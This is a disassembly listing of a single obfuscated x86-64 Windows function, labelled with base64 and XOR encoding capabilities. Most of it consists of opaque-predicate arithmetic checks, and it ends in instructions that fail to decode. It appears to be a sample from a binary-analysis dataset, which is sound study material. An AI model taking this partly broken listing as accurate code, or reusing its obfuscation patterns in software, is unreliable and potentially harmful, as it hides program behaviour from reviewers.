Function at 0x140095270
Capabilities:
Encode data using base64
Encode data using xor

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x18
lea rbp, [rsp + 0x10]
mov qword [rbp - 8], r8
mov rsi, rdx
mov r14, rcx
mov eax, dword [0x141dd3128]
and eax, dword [0x141dd312c]
add eax, 0x986141d
xor eax, 0x102c001
or eax, 0xa87c3d7e
cmp eax, 0x4ce3b686
je 0x140095327
mov edi, dword [str.Qo__]
and edi, dword [0x141dd3134]
xor edi, 0xb8800000
or edi, 0x477f7f3f
mov eax, 0x20
call fcn.1400f1350
sub rsp, rax
mov r15, rsp
mov eax, 0x20
call fcn.1400f1350
sub rsp, rax
mov r12, rsp
mov eax, 0x10
call fcn.1400f1350
sub rsp, rax
mov rbx, rsp
mov eax, 0x20
call fcn.1400f1350
sub rsp, rax
mov r13, rsp
sub rsp, 0x20
mov rcx, r12
mov rdx, r14
mov r8, rsi
call fcn.140093550
add rsp, 0x20
cmp edi, 0xd847c999
jae 0x140095376
mov eax, 0x20
call fcn.1400f1350
sub rsp, rax
mov eax, 0x20
call fcn.1400f1350
sub rsp, rax
mov rcx, rsp
mov eax, 0x10
call fcn.1400f1350
sub rsp, rax
mov eax, 0x20
call fcn.1400f1350
sub rsp, rax
sub rsp, 0x20
mov rdx, r14
mov r8, rsi
call fcn.140093550
add rsp, 0x20
jmp 0x1400952b1
movabs rsi, 0x8000000000000000
mov rax, qword [r12]
mov r9, qword [r12 + 8]
cmp rax, rsi
jne 0x1400953ca
nop
mov eax, dword [0x141dd3138]
mov ecx, dword [0x141dd313c]
add eax, ecx
add eax, 0x345b1368
or eax, 0x2786c780
cmp eax, 0x815cdd62
jb 0x140095390
nop
mov eax, dword [0x141dd3140]
sub eax, dword [0x141dd3144]
and eax, 0x6ff7b7d
cmp eax, 0x2cc64f88
je 0x1400953b0
jmp 0x140095400
mov rcx, qword [r12 + 0x10]
mov qword [r15], rax
mov qword [r15 + 8], r9
mov qword [r15 + 0x10], rcx
sub rsp, 0x20
mov rcx, r13
mov rdx, r15
mov r8b, 1
call fcn.140096720
add rsp, 0x20
mov r11, qword [r13]
mov r14, qword [r13 + 8]
cmp r11, rsi
jne 0x14009543c
mov r9, r14
mov eax, dword [0x141dd31c0]
xor edx, edx
div dword [0x141dd31c4]
or eax, 0x6ca8aca7
imul eax, eax, 0xe828c882
cmp eax, 0x9bc987d3
je 0x140095400
mov edi, 1
mov rsi, qword [rbp - 8]
movzx r8d, byte [rsi + 0x21]
nop word cs:[rax + rax]
mov eax, dword [0x141dd3148]
or eax, dword [0x141dd314c]
add eax, 0x153778ec
imul rax, rax, 0x75647ccb
shr rax, 0x3e
imul eax, eax, 0x35324594
cmp eax, 0xd177df37
je 0x140095450
movzx ecx, byte [rsi + 0x22]
nop dword [rax]
mov eax, dword [0x141dd3150]
sub eax, dword [0x141dd3154]
or eax, 0x39a097ed
add eax, 0xeb47bee
cmp eax, 0x77c20a41
ja 0x140095480
test r8b, r8b
je 0x140095540
nop word cs:[rax + rax]
mov eax, dword [0x141dd3160]
xor edx, edx
div dword [0x141dd3164]
xor eax, 0x6c86fe2c
imul eax, eax, 0xa993788a
add eax, 0x337c0dab
cmp eax, 0x6b3719bb
jb 0x1400954b0
test cl, cl
jne 0x140095570
xor eax, eax
nop
test al, al
jne 0x1400954e0
mov eax, dword [0x141dd3168]
xor edx, edx
div dword [0x141dd316c]
nop word cs:[rax + rax]
mov eax, dword [0x141dd3170]
sub eax, dword [0x141dd3174]
imul eax, eax, 0x51b99fef
xor eax, 0xdb8bf7c8
imul rax, rax, 0x5ed5fab1
shr rax, 0x3e
cmp eax, 0x36949164
jae 0x140095500
movzx r13d, byte [rsi + 0x25]
jmp 0x140095760
mov eax, dword [0x141dd3158]
or eax, dword [0x141dd315c]
add eax, 0xed364f19
or eax, 0x4520c002
and eax, 0xd561d886
cmp eax, 0xc0fb154f
je 0x140095540
test cl, cl
je 0x1400956d0
nop word [rax + rax]
mov eax, dword [0x141dd3188]
xor eax, dword [0x141dd318c]
add eax, 0x5b44bc2a
xor eax, 0x4032ad91
and eax, 0x6133bfd9
cmp eax, 0xe074e680
ja 0x140095570
movzx eax, byte [rsi + 0x23]
mov edx, 0x8dea5c9d
nop dword [rax + rax]
mov r9d, dword [0x141dd3190]
imul r9d, dword [0x141dd3194]
imul r9, rdx
shr r9, 0x3d
and r9d, 2
cmp r9d, 0xfd4751bb
je 0x1400955a0
movzx r13d, byte [rsi + 0x25]
nop dword [rax]
test al, al
setne dl
mov r9d, dword [0x141dd3198]
or r9d, dword [0x141dd319c]
imul r10d, r9d, 0x847b07db
add r10d, 0x595db256
test r13b, r13b
sete r9b
cmp r10d, 0xbd1fd251
ja 0x1400955d0
and dl, r9b
je 0x140095760
nop word [rax + rax]
mov eax, dword [0x141dd3278]
xor eax, dword [0x141dd327c]
imul eax, eax, 0xc605e59b
add eax, 0x2c67f151
or eax, 0x390b22d7
cmp eax, 0x301256c5
jb 0x140095610
movabs r9, 0x5700000002
mov edi, 1
test r11, r11
je 0x140095425
mov eax, dword [0x141dd3280]
and eax, dword [0x141dd3284]
imul eax, eax, 0xef3fbb9a
or eax, 0x9a1e1be7
add eax, 0xd3526796
cmp eax, 0x28af4df0
jae 0x140095675
mov rax, qword [0x141dde6e0]
mov rsi, r9
mov eax, 0xb1cfc507
nop dword [rax]
mov edx, dword [0x141dd3288]
add edx, dword [0x141dd328c]
or edx, 0xc24b8306
imul rdx, rax
shr rdx, 0x3e
and edx, 0xfffffffe
mov rcx, qword [0x141dde6e0]
cmp edx, 0xb58f9c5e
ja 0x140095680
sub rsp, 0x20
xor edx, edx
mov r8, r14
call qword [sym.imp.KERNEL32.dll_HeapFree]
add rsp, 0x20
mov r9, rsi
jmp 0x140095425
mov eax, dword [0x141dd3178]
or eax, dword [0x141dd317c]
and eax, 0xf794a57a
imul edx, eax, 0x1afe4828
add edx, 0x4506cb38
movzx eax, byte [rsi + 0x23]
or al, byte [rsi + 0x24]
sete al
cmp edx, 0x67297355
jb 0x1400956d0
movzx edx, byte [rsi + 0x25]
nop word cs:[rax + rax]
mov r9d, dword [0x141dd3180]
or r9d, dword [0x141dd3184]
imul r9, r9, 0x51829347
shr r9, 0x3d
imul r10d, r9d, 0x660a52d6
or r10d, 0x8e702fa8
test dl, dl
sete r9b
cmp r10d, 0x203e6ef3
jb 0x140095710
and al, r9b
je 0x140095610
xor r13d, r13d
nop word cs:[rax + rax]
mov eax, dword [0x141dd31a0]
imul eax, dword [0x141dd31a4]
imul rax, rax, 0x258fe5ef
shr rax, 0x3c
imul eax, eax, 0x94314eb
cmp eax, 0xb2878979
je 0x140095760
cmp byte [rsi + 0x24], 0
je 0x1400957c2
nop dword [rax + rax]
mov eax, dword [0x141dd31a8]
add eax, dword [0x141dd31ac]
imul eax, eax, 0xb9f248cb
cmp eax, 0xfc13a571
je 0x140095790
test r13b, r13b
jne 0x1400957d0
mov r10d, 4
cmp dword [rsi], 0
mov qword [rbp], r11
jne 0x14009582d
jmp 0x140095880
test r13b, r13b
je 0x14009586b
nop dword [rax + rax]
mov eax, dword [0x141dd31b0]
or eax, dword [0x141dd31b4]
and eax, 0xfc63f280
xor eax, 0xae82d21b
imul eax, eax, 0xc6bfaadc
cmp eax, 0x9cde1bc2
ja 0x1400957d0
nop word cs:[rax + rax]
mov eax, dword [0x141dd31b8]
and eax, dword [0x141dd31bc]
imul eax, eax, 0xbb5f5824
and eax, 0x5414225c
cmp eax, 0xc7683388
ja 0x140095800
mov r10d, 1
cmp dword [rsi], 0
mov qword [rbp], r11
je 0x140095880
mov ecx, 0x9c6a5c81
nop word cs:[rax + rax]
mov eax, dword [0x141dd31e0]
xor edx, edx
div dword [0x141dd31e4]
imul rax, rcx
shr rax, 0x39
xor eax, 0x286904a2
cmp eax, 0x92dfedc4
ja 0x140095840
mov r15d, dword [rsi + 4]
jmp 0x1400959ca
movzx eax, byte [rsi + 0x23]
lea r10d, [rax*2 + 3]
cmp dword [rsi], 0
mov qword [rbp], r11
jne 0x14009582d
mov eax, dword [0x141dd31c8]
xor eax, dword [0x141dd31cc]
and eax, 0x1d761f7a
xor eax, 0x52f7319a
add eax, 0xbc48415e
cmp eax, 0x2d2b904c
jb 0x140095880
nop word cs:[rax + rax]
mov eax, dword [0x141dd31d0]
sub eax, dword [0x141dd31d4]
and eax, 0x9f793271
imul eax, eax, 0x63eb67b5
add eax, 0x9b749fe7
cmp eax, 0xbdb8b680
jb 0x1400958b0
movzx r9d, byte [rsi + 0x20]
nop dword [rax + rax]
mov eax, dword [0x141dd31d8]
xor edx, edx
div dword [0x141dd31dc]
imul rax, rax, 0x2069d51
shr rax, 0x39
add eax, 0xd1042d2d
cmp eax, 0x67532ce4
jb 0x1400958e0
test r9b, r9b
je 0x140095956
xor eax, eax
test r8b, r8b
test r8b, r8b
je 0x140095990
nop dword [rax + rax]
mov eax, dword [0x141dd31f0]
xor eax, dword [0x141dd31f4]
add eax, 0x905d3f86
or eax, 0xa22716e4
invalid
invalid
cmp eax, 0x2e963a6c
je 0x140095990
test cl, cl
je 0x140095610